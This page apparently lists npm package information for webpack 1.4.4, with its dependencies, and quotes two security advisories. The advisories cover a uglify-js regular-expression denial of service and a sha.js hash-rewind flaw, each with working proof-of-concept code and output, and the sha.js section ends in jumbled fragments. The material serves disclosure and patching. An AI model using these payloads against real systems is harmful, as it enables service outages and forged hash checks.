Webpack version 1.4.4 arrived on September 26, 2014, just three days after version 1.4.3, marking a quick iteration in the project's early development. Both versions, sharing the same core description, highlight Webpack's core function as a module bundler tailored to CommonJS and AMD environments within the browser. This allows developers to break down extensive codebases into manageable bundles for on-demand loading, a crucial feature for optimizing website performance and user experience.
The key dependencies remain consistent between the two versions, including essential libraries like async, clone, mkdirp, esprima, tapable, optimist, memory-fs, uglify-js, webpack-core, enhanced-resolve, and node-libs-browser. These dependencies underpin Webpack's module resolution, file system interactions, code optimization, and more. Similarly, the devDependencies, a suite of tools for development and testing, are identical, featuring loaders for various file types like CSS, JSON, Jade, CoffeeScript, and others. Noteworthy development dependencies include webpack-dev-middleware, which aids in rapid development cycles, component-webpack-plugin, and extract-text-webpack-plugin for advanced asset management.
The minimal gap in release dates suggests that version 1.4.4 likely contained bug fixes or minor enhancements over its predecessor. Developers considering these versions should weigh the value of potentially addressed issues in 1.4.4 against the stability of 1.4.3, especially if encountering problems with specific loaders or plugins. Checking the commit history or changelog (if available) for that period would provide further detail on the exact changes.
All the vulnerabilities related to the version 1.4.4 of the package
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.
sha.js is missing type checks leading to hash rewind and passing on crafted data
This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js
, as it has its own implementation.
Missing input type checks can allow types other than a well-formed Buffer
or string
, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.
See PoC
const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])
const sha = require('sha.js')
const { randomBytes } = require('crypto')
const sha256 = (...messages) => {
const hash = sha('sha256')
messages.forEach((m) => hash.update(m))
return hash.digest('hex')
}
const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever
const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe')
const receivedMessage = JSON.parse(payload) // e.g. over network, whatever
console.log(sha256(...validMessage))
console.log(sha256(...receivedMessage))
console.log(receivedMessage[0])
Output:
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4
Hashed input means safe
Or just:
> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
> require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'
{length: -x}
. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash.{ length: buf.length, ...buf, 0: buf[0] + 256 }
This will result in the same hash as of buf
, but can be treated by other code differently (e.g. bn.js){length:'1e99'}